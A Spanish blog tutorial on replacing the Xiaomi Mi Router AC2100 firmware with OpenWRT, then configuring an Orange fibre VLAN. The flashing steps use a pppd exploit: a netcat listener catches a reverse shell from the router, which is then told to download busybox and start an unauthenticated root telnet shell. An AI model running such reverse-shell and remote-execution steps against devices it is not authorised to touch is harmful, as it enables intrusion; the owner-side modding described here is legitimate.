Tutorial: Cambio de Firmware del Xiaomi Mi Router AC2100 a OpenWRT

Tutorial: Cambio de Firmware del Xiaomi Mi Router AC2100 a OpenWRT

Tal y como prometí en la review, os traigo el vídeo del cambio de firmware del Mi Router AC2100 a OpenWRT para sacar el router del ecosistema de Xiaomi y abrir las puertas a una configuración mucho más avanzada.

NOTA: Antes de seguir, después del cambio, he notado mejoría a nivel de gestión de la red local por cable, ya que ahora el test si que da los 500 MB simétricos, pero, en cuanto a la WiFi, no he podido levantar todavía la de 5 Ghz.

En mi caso no era un problema mayor ya que iba a usar la WiFi del AX3600, y, además, no veo que la gente se queje de ese problema, por lo que puede ser algo aislado lo que me ha pasado a mi, pero, advertidos estáis. Además, he leído que ha habido gente que le pone los drivers propietarios en OpenWRT y mejora el rendimiento mucho más. Supongo que acabará habiendo una versión con los drivers ya incluidos.

Tutorial para cambiar el firmware al Xiaomi Mi Router AC2100 a OpenWRT

Para que os resulte más sencillo de seguir el vídeo, os pongo aquí los comandos de la guía para lo podáis seguir copiando y pegando.

Instalación de lo necesario

Como digo en la guía, es necesario instalar Python3 y netcat para poder funcionar y, posteriormente pip haciendo uso del gestor de paquetes de vuestra distribución. Una vez que tengáis eso (podréis hacerlo con vuestra distribución de Linux sin problemas) podréis instalar scapy con:

pip3 install scapy

Ahora nos descargaremos el repositorio de la guía, ya sea con el zip o con el siguiente comando:

git clone https://github.com/impulse/ac2100-openwrt-guide.git

Ahora, comprobamos si los binarios están correctos:

sha256sum *bin

La salida debería ser algo así:

9242477eaa7df12e00d369d5132b754b76af7dc8e7f4cd9e1c1483aba824ebbe xiaomi-router-kernel1.bin
141d6af6ae3b41c44fe8fe3728638acf1b286e5f204cd16381593c10f2cdd94c xiaomi-router-rootfs0.bin
e53c69e2443154feb80320ebc1c58c10e08076f132291f01d9d7f5160c0aed6c xiaomi-router-sysupgrade.bin

Ahora nos toca reiniciar el router. Para ello, lo encendemos, esperamos que se ponga azul la luz y pulsamos el botón reset hasta que se ponga amarillo (o naranja). Una vez hecho eso, le quitamos la alimentación. Cuando tengamos el router sin alimentación, ponemos los cables de red como se ven a continuación:

puentes de los cables del router ac2100

El siguiente paso sería configurar nuestra tarjeta de red para tener los siguientes datos en lugar de automático, pasamos a manual y ponemos:

IP: 192.168.31.177
Máscara de red: 255.255.255.0
Puerta de enlace: 192.168.31.1

Aceptamos los cambios y conectamos el router de nuevo a la corriente y, cuando la luz esté azul, hacemos ping para ver si llegamos al router con:

ping 192.168.31.1

ping router

Si la salida nos retorna con los milisegundos (ms) que tarda, es que podemos seguir. Ahora nos tocaría ver donde tenemos conectado nuestro router en nuestro pc, para ello, lanzamos el comando:

ifconfig

Ahora debemos fijarnos en el que lleva la configuración de nuestra ip 192.168.31.177:

salida ifconfig

Y copiaríamos el nombre, que, en mi caso es enp7s0. Tendremos que editar tanto el script ppd-cve.py como el pppoe-simulator.py para poder poner ese dispositivo en donde pone “interface”, lo pondremos sustituyendo el “en7” dejando las comillas (está al principio de los scripts). Otro cambio importante es mirar la MAC de vuestro router y coger los 6 primeros caracteres, en mi caso, tuve que cambiar de:

if src.startswith("88:c3:97") or src.startswith("8c:53:c3") :

a:

if src.startswith("50:d2:f5") or src.startswith("8c:53:c3") :

Sin este cambio, el xploit para poder saltarnos la seguridad del router, no pude hacerlo funcionar.

Ahora nos vamos al navegador y abrimos la ip 192.168.31.1 para ver esto:

Pantalla de inicio del Xiaomi Mi Router AC2100

Pulsamos en el botón azul si no te sale lo que te marco aquí:

botón a pulsar en mi router ac2100 antes del cambio

Comienza el ataque

Ahora nos toca aprovecharnos de un fallo de seguridad que tiene el Mi Router AC2100 par poder entrar al router y lanzar un servidor Telnet para poder flashear desde dentro. Abriremos un terminal de consola con varias pestañas y todas ellas nos iremos al directorio donde tenemos lo que hemos bajado del repositorio. En la primera, lanza:

sudo python3 pppoe-simulator.py

Ahora, en la pantalla del navegador, pulsamos en donde pone PPPOE y nos pedirá un usuario y contraseña, ponemos 123 en ambos campos y pulsamos el botón azul de abajo. Si miramos la pestaña donde hemos lanzado el script anterior, debería salir texto como que ha tenido actividad. Ahora, se quedará como en una pantalla de login y lo dejaremos minimizado.

Nos vamos a otra pestaña y lanzamos:

sudo python3 -m http.server 80

Y en otra pestaña lanzamos

sudo netcat -nvlp 31337

Ahora tenemos un servidor web en una y la aplicación netcat en otra, ambos escuchando posibles paquetes que lleguen, por último, en otra pestaña lanzaremos el comando:

sudo python3 pppd-cve.py

al poco, veremos que se ha lanzado un paquete y si miramos en netcat hay una conexión nueva desde el router. En esta ventana (la de netcat) es donde tenemos que lanzar una serie de comandos. Ojo, la conexión se podría cerrar por lo que habría que volver a repetir los pasos desde “sudo python3 -m http.server 80”. Los comandos a lanzar son:

cd /tmp
wget http://192.168.31.177/busybox
chmod a+x ./busybox
./busybox telnetd -l /bin/sh

Si has podido lanzarlos todos, ahora debe ser posible hacer telnet contra el router, para ello, hacemos:

telnet 192.168.31.1

Y, si nos devuelve una consola como esta:

telnet al xiaomi mi router ac2100 para flashear openwrt

Ya estaremos dentro del router y podemos descargarnos los firmware y flashearlos, para ello:

wget http://192.168.31.177/xiaomi-router-rootfs0.bin
wget http://192.168.31.177/xiaomi-router-kernel1.bin&&nvram set uart_en=1&&nvram set bootdelay=5&&nvram set flag_try_sys1_failed=1&&nvram commit

Si no ha dado problemas en la descarga, podréis pasar al último paso que es el flasheo:

Primero:
mtd write xiaomi-router-kernel1.bin kernel1

Después:
mtd -r write xiaomi-router-rootfs0.bin rootfs0

Ahora tendríamos nuestro Mi Router AC2100 con OpenWRT, y se debe reiniciar. Una vez que se ponga azul la luz de nuevo, podremos probarlo. Para poder probarlo con normalidad, tendremos que volver a dejar nuestra tarjeta de red con la configuración de antes (lo normal es que sea automática), quitar los cables que hemos puenteado y conectar a internet el router.

OpenWRT en el Xiaomi Mi Router AC2100

Por cierto, el usuario por defecto (cambialo en la primera entrada es usuario root y contraseña password)

Como he dicho al principio, la WiFi en 2.4Ghz funciona bien, pero, la de 5Ghz no he sido capaz de hacerla funcionar, esto será cosa de dias/semanas que todo vaya a la perfección, por lo que si veis que no está actualizado el tutorial y que ya va todo bien, podéis decirlo para que actualice el tutorial.

Configuración del router Xiaomi para quitar el router del operador

Como muchos han preguntado en el grupo de Telegram para poder cambiar el router del operador, si tenéis un router y el ONT por separado (como es mi caso) os explico como lo he podido configurar:

  • Como tengo Orange la VLAN es la 832 (si fuera NEBA sería la 20) nos vamos a Network > Switch y tendremos 2 VLANs creadas, le damos a añadir una nueva y en VLAN ID ponemos 832 (o la que corresponda). La primera columna y la última (WAN) estarán puestas a Tagged. Le damos a Save & Apply.

Configuración OpenWRT

  • Nos vamos a Network > Interfaces y le damos a Añadir uno nuevo. En nombre podemos usar DHCP y elegimos DHCP Client y, como interfaz elegimos la VLAN creada

Configuración OpenWRT

  • Ahora editamos la WAN y ponemos como protocolo PPPoE y en usuario y contraseña ponemos (usuario: orangeuser@orangeadsl  y contraseña: orangeuser123) y, en Physical Settings elegimos la VLAN que hemos creado).  Le damos a Save

Configuración OpenWRT
Configuración OpenWRT

  • Ahora editamos WAN6, elegimos DHCP client y en Physical Settings ponemos la VLAN que hemos creado.

Configuración OpenWRT
Configuración OpenWRT

Ahora podemos Salvar y aplicar y en Status debería salir la IP de nuestro router. Ojo, si tenéis teléfono y tele, es necesario crear otras subredes en otros operadores, os comento mi caso que se que funciona. Si alguno lo configura para televisión y teléfono y quiere compartir la info, la publico para que le sirva a más gente en este tutorial del Mi Router AC2100.

Guía que he seguido aquí. Para la configuración de la fibra, lo he sacado de aquí.

Binarios para poder actualizar cuando haya nueva versión aquí (Yo uso la versión estándar y se flashea por la web la sysupgrade)

Compra: Banggood

La entrada Tutorial: Cambio de Firmware del Xiaomi Mi Router AC2100 a OpenWRT se publicó primero en Domótica en Casa.

Eduardo Ruiz

Informático de vocación, apasionado de la tecnología y blogger desde hace mucho tiempo, escribo de lo que me entretiene y disfruto con ello. Si deseas seguirme, usa el rss del blog o en mi perfil de .